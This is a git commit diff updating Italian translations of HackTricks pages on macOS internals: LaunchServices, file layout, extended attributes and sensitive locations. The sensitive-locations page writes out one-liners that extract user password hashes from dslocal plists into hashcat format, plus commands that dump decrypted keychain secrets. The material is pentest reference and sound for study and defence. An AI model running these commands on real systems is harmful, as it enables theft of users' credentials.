mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
92d5b8586d
commit
c695ead762
6 changed files with 350 additions and 200 deletions
|
@ -155,7 +155,7 @@
|
|||
* [macOS Bundles](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md)
|
||||
* [macOS Installers Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md)
|
||||
* [macOS Memory Dumping](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md)
|
||||
* [macOS Sensitive Locations](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||||
* [macOS Sensitive Locations & Interesting Daemons](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||||
* [macOS Universal binaries & Mach-O Format](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)
|
||||
* [macOS Objective-C](macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md)
|
||||
* [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md)
|
||||
|
@ -188,6 +188,7 @@
|
|||
* [macOS Office Sandbox Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md)
|
||||
* [macOS SIP](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md)
|
||||
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
|
||||
* [macOS Apple Events](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.md)
|
||||
* [macOS TCC Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md)
|
||||
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md)
|
||||
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
|
||||
|
|
|
@ -1,33 +1,55 @@
|
|||
# Gestori di app per estensioni di file e URL scheme su macOS
|
||||
# Gestori delle applicazioni per estensioni di file e schemi URL di macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Gestori di app per estensioni di file e URL scheme
|
||||
## Database dei LaunchServices
|
||||
|
||||
La seguente linea può essere utile per trovare le applicazioni che possono aprire file in base all'estensione:
|
||||
Si tratta di un database di tutte le applicazioni installate in macOS che possono essere interrogate per ottenere informazioni su ciascuna applicazione installata, come gli schemi URL supportati e i tipi MIME.
|
||||
|
||||
È possibile scaricare questo database con:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Oppure utilizzando lo strumento [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
|
||||
|
||||
**`/usr/libexec/lsd`** è il cervello del database. Fornisce **diversi servizi XPC** come `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, e altri. Ma richiede anche **alcuni entitlement** alle applicazioni per poter utilizzare le funzionalità XPC esposte, come `.launchservices.changedefaulthandler` o `.launchservices.changeurlschemehandler` per cambiare le app predefinite per i tipi di mime o gli schemi di URL e altri.
|
||||
|
||||
**`/System/Library/CoreServices/launchservicesd`** afferma il servizio `com.apple.coreservices.launchservicesd` e può essere interrogato per ottenere informazioni sulle applicazioni in esecuzione. Può essere interrogato con lo strumento di sistema /**`usr/bin/lsappinfo`** o con [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
|
||||
|
||||
## Gestori di app per estensioni di file e schemi di URL
|
||||
|
||||
La seguente riga può essere utile per trovare le applicazioni che possono aprire file in base all'estensione:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
|
||||
```
|
||||
Oppure utilizza qualcosa come [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
|
||||
{% endcode %}
|
||||
|
||||
Oppure utilizzare qualcosa come [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
|
||||
```bash
|
||||
./swda getSchemes #Get all the available schemes
|
||||
./swda getApps #Get all the apps declared
|
||||
./swda getUTIs #Get all the UTIs
|
||||
./swda getHandler --URL ftp #Get ftp handler
|
||||
```
|
||||
Puoi anche verificare le estensioni supportate da un'applicazione eseguendo:
|
||||
Puoi anche controllare le estensioni supportate da un'applicazione eseguendo:
|
||||
```
|
||||
cd /Applications/Safari.app/Contents
|
||||
grep -A3 CFBundleTypeExtensions Info.plist | grep string
|
||||
|
@ -61,14 +83,14 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,36 @@
|
|||
# Struttura dei file, delle cartelle, dei binari e della memoria di macOS
|
||||
# macOS File, Cartelle, Binari e Memoria
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Layout della gerarchia dei file
|
||||
## Layout della Gerarchia dei File
|
||||
|
||||
* **/Applications**: Le app installate dovrebbero essere qui. Tutti gli utenti potranno accedervi.
|
||||
* **/bin**: Binari della riga di comando
|
||||
* **/cores**: Se esiste, viene utilizzato per memorizzare i dump core
|
||||
* **/dev**: Tutto è trattato come un file quindi potresti vedere dispositivi hardware memorizzati qui.
|
||||
* **/etc**: File di configurazione
|
||||
* **/Library**: Molte sottodirectory e file relativi a preferenze, cache e log possono essere trovati qui. Esiste una cartella Library nella root e in ogni directory dell'utente.
|
||||
* **/Library**: Molte sottodirectory e file relativi a preferenze, cache e log possono essere trovati qui. Una cartella Library esiste nella root e in ogni directory dell'utente.
|
||||
* **/private**: Non documentato ma molte delle cartelle menzionate sono collegamenti simbolici alla directory private.
|
||||
* **/sbin**: Binari di sistema essenziali (relativi all'amministrazione)
|
||||
* **/System**: File per far funzionare OS X. Dovresti trovare principalmente solo file specifici di Apple qui (non di terze parti).
|
||||
* **/tmp**: I file vengono eliminati dopo 3 giorni (è un collegamento simbolico a /private/tmp)
|
||||
* **/Users**: Directory home degli utenti.
|
||||
* **/usr**: Configurazione e binari di sistema
|
||||
* **/usr**: Configurazioni e binari di sistema
|
||||
* **/var**: File di log
|
||||
* **/Volumes**: Le unità montate appariranno qui.
|
||||
* **/.vol**: Eseguendo `stat a.txt` ottieni qualcosa come `16777223 7545753 -rw-r--r-- 1 username wheel ...` dove il primo numero è l'id del volume in cui si trova il file e il secondo è il numero di inode. Puoi accedere al contenuto di questo file tramite /.vol/ con queste informazioni eseguendo `cat /.vol/16777223/7545753`
|
||||
* **/.vol**: Eseguendo `stat a.txt` otterrai qualcosa come `16777223 7545753 -rw-r--r-- 1 username wheel ...` dove il primo numero è l'id del volume in cui si trova il file e il secondo è il numero di inode. Puoi accedere al contenuto di questo file tramite /.vol/ con queste informazioni eseguendo `cat /.vol/16777223/7545753`
|
||||
|
||||
### Cartelle delle Applicazioni
|
||||
|
||||
|
@ -38,7 +38,7 @@ Altri modi per supportare HackTricks:
|
|||
* Le applicazioni **installate** di solito sono installate in `/Applications` o in `~/Applications`
|
||||
* I **dati dell'applicazione** possono essere trovati in `/Library/Application Support` per le applicazioni in esecuzione come root e `~/Library/Application Support` per le applicazioni in esecuzione come utente.
|
||||
* I **daemon** delle applicazioni di terze parti che **devono essere eseguiti come root** sono di solito situati in `/Library/PrivilegedHelperTools/`
|
||||
* Le app **sandboxed** sono mappate nella cartella `~/Library/Containers`. Ogni app ha una cartella denominata in base all'ID del bundle dell'applicazione (`com.apple.Safari`).
|
||||
* Le app **sandboxed** sono mappate nella cartella `~/Library/Containers`. Ogni app ha una cartella con il nome dell'ID del bundle dell'applicazione (`com.apple.Safari`).
|
||||
* Il **kernel** si trova in `/System/Library/Kernels/kernel`
|
||||
* Le **estensioni del kernel di Apple** si trovano in `/System/Library/Extensions`
|
||||
* Le **estensioni del kernel di terze parti** sono memorizzate in `/Library/Extensions`
|
||||
|
@ -51,7 +51,7 @@ macOS memorizza informazioni come password in diversi luoghi:
|
|||
[macos-sensitive-locations.md](macos-sensitive-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Installatori pkg vulnerabili
|
||||
### Installatori pkg Vulnerabili
|
||||
|
||||
{% content-ref url="macos-installers-abuse.md" %}
|
||||
[macos-installers-abuse.md](macos-installers-abuse.md)
|
||||
|
@ -61,7 +61,7 @@ macOS memorizza informazioni come password in diversi luoghi:
|
|||
|
||||
* **`.dmg`**: I file immagine disco di Apple sono molto frequenti per gli installatori.
|
||||
* **`.kext`**: Deve seguire una struttura specifica ed è la versione OS X di un driver. (è un bundle)
|
||||
* **`.plist`**: Conosciuto anche come property list memorizza informazioni in formato XML o binario.
|
||||
* **`.plist`**: Conosciuto anche come elenco di proprietà, memorizza informazioni in formato XML o binario.
|
||||
* Può essere XML o binario. Quelli binari possono essere letti con:
|
||||
* `defaults read config.plist`
|
||||
* `/usr/libexec/PlistBuddy -c print config.plsit`
|
||||
|
@ -75,8 +75,9 @@ macOS memorizza informazioni come password in diversi luoghi:
|
|||
* **`.Spotlight-V100`**: Questa cartella appare nella directory radice di ogni volume del sistema.
|
||||
* **`.metadata_never_index`**: Se questo file è nella radice di un volume, Spotlight non indizzerà quel volume.
|
||||
* **`.noindex`**: I file e le cartelle con questa estensione non verranno indicizzati da Spotlight.
|
||||
* **`.sdef`**: File all'interno dei bundle che specificano come è possibile interagire con l'applicazione da uno script Apple.
|
||||
|
||||
### Bundle di macOS
|
||||
### Bundle macOS
|
||||
|
||||
Un bundle è una **directory** che **sembra un oggetto in Finder** (un esempio di Bundle sono i file `*.app`).
|
||||
|
||||
|
@ -84,13 +85,13 @@ Un bundle è una **directory** che **sembra un oggetto in Finder** (un esempio d
|
|||
[macos-bundles.md](macos-bundles.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dyld Shared Cache
|
||||
## Cache Condivisa Dyld
|
||||
|
||||
Su macOS (e iOS) tutte le librerie di sistema condivise, come framework e dylib, sono **combinate in un unico file**, chiamato **dyld shared cache**. Ciò migliora le prestazioni, poiché il codice può essere caricato più velocemente.
|
||||
Su macOS (e iOS) tutte le librerie di sistema condivise, come framework e dylib, sono **combinate in un singolo file**, chiamato **cache condivisa dyld**. Questo migliora le prestazioni, poiché il codice può essere caricato più velocemente.
|
||||
|
||||
Analogamente al dyld shared cache, il kernel e le estensioni del kernel sono anche compilati in una cache del kernel, che viene caricata all'avvio.
|
||||
Analogamente alla cache condivisa dyld, il kernel e le estensioni del kernel sono anche compilati in una cache del kernel, che viene caricata all'avvio.
|
||||
|
||||
Per estrarre le librerie dal file unico dylib shared cache era possibile utilizzare il binario [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) che potrebbe non funzionare al giorno d'oggi ma è possibile utilizzare anche [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
Per estrarre le librerie dal file unico della cache condivisa dylib era possibile utilizzare il binario [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) che potrebbe non funzionare al giorno d'oggi ma puoi anche usare [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -112,7 +113,7 @@ In iOS puoi trovarle in **`/System/Library/Caches/com.apple.dyld/`**.
|
|||
Nota che anche se lo strumento `dyld_shared_cache_util` non funziona, puoi passare il **binario dyld condiviso a Hopper** e Hopper sarà in grado di identificare tutte le librerie e permetterti di **selezionare quale** vuoi investigare:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (680).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1149).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Permessi Speciali dei File
|
||||
|
||||
|
@ -124,7 +125,7 @@ In una **cartella**, **read** permette di **elencarla**, **write** permette di *
|
|||
|
||||
Ci sono alcuni flag che possono essere impostati nei file e che li faranno comportare in modo diverso. Puoi **controllare i flag** dei file all'interno di una directory con `ls -lO /percorso/directory`
|
||||
|
||||
* **`uchg`**: Noto come flag **uchange** impedirà qualsiasi azione di cambiare o eliminare il **file**. Per impostarlo fai: `chflags uchg file.txt`
|
||||
* **`uchg`**: Conosciuto come flag **uchange** impedirà **qualsiasi azione** di modifica o eliminazione del **file**. Per impostarlo fai: `chflags uchg file.txt`
|
||||
* L'utente root potrebbe **rimuovere il flag** e modificare il file
|
||||
* **`restricted`**: Questo flag fa sì che il file sia **protetto da SIP** (non puoi aggiungere questo flag a un file).
|
||||
* **`Sticky bit`**: Se una directory ha il bit sticky, **solo** il **proprietario delle directory o root può rinominare o eliminare** i file. Tipicamente questo è impostato sulla directory /tmp per impedire agli utenti ordinari di eliminare o spostare i file di altri utenti.
|
||||
|
@ -181,7 +182,7 @@ Gli attributi estesi hanno un nome e un valore desiderato, e possono essere visu
|
|||
- `com.apple.quarantine`: MacOS: meccanismo di quarantena di Gatekeeper (III/6)
|
||||
- `metadata:*`: MacOS: vari metadati, come `_backup_excludeItem`, o `kMD*`
|
||||
- `com.apple.lastuseddate` (#PS): Data dell'ultimo utilizzo del file
|
||||
- `com.apple.FinderInfo`: MacOS: informazioni del Finder (ad es., Tag di colore)
|
||||
- `com.apple.FinderInfo`: MacOS: informazioni del Finder (ad es., etichette di colore)
|
||||
- `com.apple.TextEncoding`: Specifica la codifica del testo dei file di testo ASCII
|
||||
- `com.apple.logd.metadata`: Utilizzato da logd su file in `/var/db/diagnostics`
|
||||
- `com.apple.genstore.*`: Archiviazione generazionale (`/.DocumentRevisions-V100` nella radice del filesystem)
|
||||
|
@ -210,6 +211,8 @@ Puoi **trovare tutti i file che contengono questo attributo esteso** con:
|
|||
```bash
|
||||
find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### decmpfs
|
||||
|
||||
L'attributo esteso `com.apple.decmpfs` indica che il file è memorizzato criptato, `ls -l` riporterà una **dimensione di 0** e i dati compressi sono all'interno di questo attributo. Ogni volta che il file viene accesso, verrà decriptato in memoria.
|
||||
|
@ -220,7 +223,7 @@ Lo strumento afscexpand può essere utilizzato per forzare la decompressione di
|
|||
|
||||
## **Universal binaries &** Formato Mach-o
|
||||
|
||||
I binari di Mac OS di solito sono compilati come **binari universali**. Un **binario universale** può **supportare più architetture nello stesso file**.
|
||||
Di solito i binari di Mac OS sono compilati come **universal binaries**. Un **universal binary** può **supportare più architetture nello stesso file**.
|
||||
|
||||
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
|
||||
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
|
||||
|
@ -232,7 +235,7 @@ I binari di Mac OS di solito sono compilati come **binari universali**. Un **bin
|
|||
[macos-memory-dumping.md](macos-memory-dumping.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## File di categoria di rischio Mac OS
|
||||
## File di categoria di rischio di Mac OS
|
||||
|
||||
La directory `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` è dove sono memorizzate le informazioni sul **rischio associato a diverse estensioni di file**. Questa directory categorizza i file in vari livelli di rischio, influenzando come Safari gestisce questi file al momento del download. Le categorie sono le seguenti:
|
||||
|
||||
|
@ -248,6 +251,20 @@ La directory `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/S
|
|||
* **`/private/var/log/asl/*.asl`**: Questi sono i Log di Sistema Apple che potrebbero contenere informazioni interessanti.
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Memorizza i file e le applicazioni recentemente accessi tramite "Finder".
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Memorizza gli elementi da avviare all'avvio del sistema.
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**: File di log per l'applicazione DiskUtility (informazioni sui drive, inclusi gli USB).
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**: File di log per l'app DiskUtility (informazioni su unità, inclusi USB)
|
||||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Dati sugli access point wireless.
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Elenco dei daemon disattivati.
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Elenco dei demoni disattivati.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,25 +1,25 @@
|
|||
# Posizioni Sensibili di macOS
|
||||
# Posizioni Sensibili di macOS e Daemon Interessanti
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) di github.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Password
|
||||
## Passwords
|
||||
|
||||
### Password Shadow
|
||||
### Password Ombra
|
||||
|
||||
La password shadow viene memorizzata insieme alla configurazione dell'utente in plists situati in **`/var/db/dslocal/nodes/Default/users/`**.\
|
||||
Il seguente oneliner può essere utilizzato per estrarre **tutte le informazioni sugli utenti** (inclusi i dettagli dell'hash):
|
||||
La password ombra è memorizzata insieme alla configurazione dell'utente in plists situati in **`/var/db/dslocal/nodes/Default/users/`**.\
|
||||
Il seguente oneliner può essere utilizzato per estrarre **tutte le informazioni sugli utenti** (incluso l'hash):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -27,9 +27,9 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
[**Script come questo**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**questo**](https://github.com/octomagon/davegrohl.git) possono essere utilizzati per trasformare l'hash nel formato **hashcat**.
|
||||
[**Script come questo**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**questo**](https://github.com/octomagon/davegrohl.git) può essere utilizzato per trasformare l'hash nel **formato hashcat**.
|
||||
|
||||
Un'alternativa one-liner che scaricherà le credenziali di tutti gli account non di servizio nel formato hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
Un'alternativa one-liner che dumpa le credenziali di tutti gli account non di servizio nel formato hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -39,7 +39,7 @@ sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex
|
|||
|
||||
### Dump delle chiavi
|
||||
|
||||
Nota che quando si utilizza il binario di sicurezza per **effettuare il dump delle password decriptate**, verranno richiesti diversi prompt all'utente per consentire questa operazione.
|
||||
Si noti che quando si utilizza il binario di sicurezza per **scaricare le password decifrate**, verranno visualizzati diversi prompt che chiederanno all'utente di consentire questa operazione.
|
||||
```bash
|
||||
#security
|
||||
secuirty dump-trust-settings [-s] [-d] #List certificates
|
||||
|
@ -51,64 +51,44 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
|
|||
### [Keychaindump](https://github.com/juuso/keychaindump)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Basato su questo commento [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) sembra che questi strumenti non funzionino più in Big Sur.
|
||||
Basandosi su questo commento [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) sembra che questi strumenti non funzionino più in Big Sur.
|
||||
{% endhint %}
|
||||
|
||||
### Panoramica di Keychaindump
|
||||
|
||||
